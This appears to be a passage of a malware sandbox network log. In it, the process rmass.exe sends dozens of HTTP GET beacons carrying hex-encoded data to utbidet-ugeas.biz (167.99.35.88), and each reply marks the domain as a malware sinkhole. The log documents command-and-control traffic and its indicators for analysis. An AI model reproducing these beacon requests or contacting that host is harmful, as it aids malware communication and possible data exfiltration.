Dec 4, 2023 12:32:42.591214895 CET	223	OUT	GET /d/N?02E448C223E448C223CA48EE23E4480F7A46F90EE1E548028BE64EF40DD666FB11D478EC23 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:32:42.775930882 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:42 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49715	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:42.961853027 CET	255	OUT	GET /d/N?02E448C223E448C223CA48EE23E4480F7A46F90EE1E548028BE64EF40DD666FB11D478EC23 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:32:43.142668962 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:43 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49722	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:48.557888031 CET	223	OUT	GET /d/N?02F61668A8F61668A8D81644A8F616A5F154A7A46AF716A800F4105E86C438519AC62646A8 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:32:48.739953995 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:48 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49723	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:48.930218935 CET	255	OUT	GET /d/N?02F61668A8F61668A8D81644A8F616A5F154A7A46AF716A800F4105E86C438519AC62646A8 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:32:49.112801075 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:49 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49726	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:53.158288956 CET	223	OUT	GET /d/N?02B82229F7B82229F7962205F7B822E4AE1A93E535B922E95FBA241FD98A0C10C5881207F7 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:32:53.341975927 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:53 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49727	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:53.525116920 CET	255	OUT	GET /d/N?02B82229F7B82229F7962205F7B822E4AE1A93E535B922E95FBA241FD98A0C10C5881207F7 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:32:53.701334953 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:53 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49729	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:54.265140057 CET	223	OUT	GET /d/N?02908178BA908178BABE8154BA9081B5E33230B4789181B81292874E94A2AF4188A0B156BA HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:32:54.448846102 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:54 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49730	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:54.630976915 CET	255	OUT	GET /d/N?02908178BA908178BABE8154BA9081B5E33230B4789181B81292874E94A2AF4188A0B156BA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:32:54.812712908 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:54 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49732	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:56.024765968 CET	223	OUT	GET /d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806CE51 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:32:56.202991009 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:56 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49733	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:56.391668081 CET	255	OUT	GET /d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806CE51 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:32:56.574477911 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:56 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49735	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:58.848037004 CET	223	OUT	GET /d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB164C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:32:59.025846004 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:58 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49736	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:32:59.209922075 CET	255	OUT	GET /d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB164C HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:32:59.397552013 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:32:59 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49738	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:00.984564066 CET	223	OUT	GET /d/N?02F8C00BE1F8C00BE1D6C027E1F8C0C6B85A71C723F9C0CB49FAC63DCFCAEE32D3C8F025E1 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:01.162848949 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:01 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49739	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:01.346601963 CET	255	OUT	GET /d/N?02F8C00BE1F8C00BE1D6C027E1F8C0C6B85A71C723F9C0CB49FAC63DCFCAEE32D3C8F025E1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:01.528455973 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:01 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49741	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:02.693531036 CET	223	OUT	GET /d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F065EE HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:02.878170967 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:02 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49742	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:03.071981907 CET	255	OUT	GET /d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F065EE HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:03.252918959 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:03 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49744	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:05.846298933 CET	223	OUT	GET /d/N?02EBE93423EBE93423C5E91823EBE9F97A4958F8E1EAE9F48BE9EF020DD9C70D11DBD91A23 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:06.023861885 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:05 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49745	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:06.208173990 CET	255	OUT	GET /d/N?02EBE93423EBE93423C5E91823EBE9F97A4958F8E1EAE9F48BE9EF020DD9C70D11DBD91A23 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:06.390383005 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:06 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49748	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:08.782903910 CET	223	OUT	GET /d/N?025429DBFD5429DBFD7A29F7FD542916A4F698173F55291B55562FEDD36607E2CF6419F5FD HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:08.962213039 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:08 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49749	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:09.148706913 CET	255	OUT	GET /d/N?025429DBFD5429DBFD7A29F7FD542916A4F698173F55291B55562FEDD36607E2CF6419F5FD HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:09.325100899 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:09 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49751	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:12.821780920 CET	223	OUT	GET /d/N?02B11BF607B11BF6079F1BDA07B11B3B5E13AA3AC5B01B36AFB31DC0298335CF35812BD807 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:13.002070904 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:12 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49752	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:13.187947035 CET	255	OUT	GET /d/N?02B11BF607B11BF6079F1BDA07B11B3B5E13AA3AC5B01B36AFB31DC0298335CF35812BD807 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:13.372021914 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:13 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49754	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:13.991192102 CET	223	OUT	GET /d/N?02F0284686F0284686DE286A86F0288BDF52998A44F128862EF22E70A8C2067FB4C0186886 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:14.174853086 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:14 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49755	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:14.398243904 CET	255	OUT	GET /d/N?02F0284686F0284686DE286A86F0288BDF52998A44F128862EF22E70A8C2067FB4C0186886 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:14.578831911 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:14 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49757	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:19.173913002 CET	223	OUT	GET /d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:19.351979971 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:19 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49758	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:19.536947012 CET	255	OUT	GET /d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:19.719191074 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:19 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49761	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:22.652453899 CET	223	OUT	GET /d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:22.830523014 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:22 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49762	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:23.016659021 CET	255	OUT	GET /d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:23.194091082 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:23 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49764	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:25.087301970 CET	223	OUT	GET /d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF876C HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:25.271531105 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:25 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49765	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:25.456542969 CET	255	OUT	GET /d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF876C HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:25.634076118 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:25 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49769	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:29.201000929 CET	223	OUT	GET /d/N?0226464D4326464D43084661432646801A84F7818127468DEB24407B6D1468747116766343 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:29.377305031 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:29 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49770	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:29.557858944 CET	255	OUT	GET /d/N?0226464D4326464D43084661432646801A84F7818127468DEB24407B6D1468747116766343 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:29.737205982 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:29 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49772	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:30.353255987 CET	223	OUT	GET /d/N?022880A7482880A74806808B4828806A118A316B8A298067E02A8691661AAE9E7A18B08948 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:30.530802965 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:30 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49773	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:30.721865892 CET	255	OUT	GET /d/N?022880A7482880A74806808B4828806A118A316B8A298067E02A8691661AAE9E7A18B08948 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:30.903862000 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:30 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49775	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:33.962385893 CET	223	OUT	GET /d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:34.145297050 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:34 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49776	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:34.327367067 CET	255	OUT	GET /d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:34.508075953 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:34 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49778	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:35.389812946 CET	223	OUT	GET /d/N?02B8E79322B8E7932296E7BF22B8E75E7B1A565FE0B9E7538ABAE1A50C8AC9AA1088D7BD22 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:35.570411921 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:35 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49779	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:35.760320902 CET	255	OUT	GET /d/N?02B8E79322B8E7932296E7BF22B8E75E7B1A565FE0B9E7538ABAE1A50C8AC9AA1088D7BD22 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:35.939568043 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:35 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49781	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:38.367927074 CET	223	OUT	GET /d/N?020F06AE640F06AE64210682640F06633DADB762A60E066ECC0D00984A3D2897563F368064 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:38.550976038 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:38 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49782	167.99.35.88	80

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:38.744424105 CET	255	OUT	GET /d/N?020F06AE640F06AE64210682640F06633DADB762A60E066ECC0D00984A3D2897563F368064 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:38.924971104 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:38 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49784	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:40.161221981 CET	223	OUT	GET /d/N?0204466394044663942A464F940446AECDA6F7AF560546A33C064055BA36685AA634764D94 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:40.343311071 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:40 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49785	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:40.527652025 CET	255	OUT	GET /d/N?0204466394044663942A464F940446AECDA6F7AF560546A33C064055BA36685AA634764D94 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:40.709275961 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:40 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49790	167.99.35.88	80

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:50.068248987 CET	223	OUT	GET /d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Dec 4, 2023 12:33:50.248951912 CET	173	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:50 GMT Connection: close X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49791	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2023 12:33:50.445951939 CET	255	OUT	GET /d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Dec 4, 2023 12:33:50.625195026 CET	178	IN	HTTP/1.1 204 No Content Server: nginx Date: Mon, 04 Dec 2023 11:33:50 GMT Connection: keep-alive X-Sinkhole: Malware

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49793	167.99.35.88	80	6436	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
